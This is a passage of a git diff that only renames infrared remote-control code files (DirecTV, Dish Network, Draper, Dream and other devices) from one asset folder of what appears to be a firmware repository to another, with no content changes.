assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/8,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Draper/Screen/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/10,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/11,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/25,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/26,0.ir similarity index 100% rename from 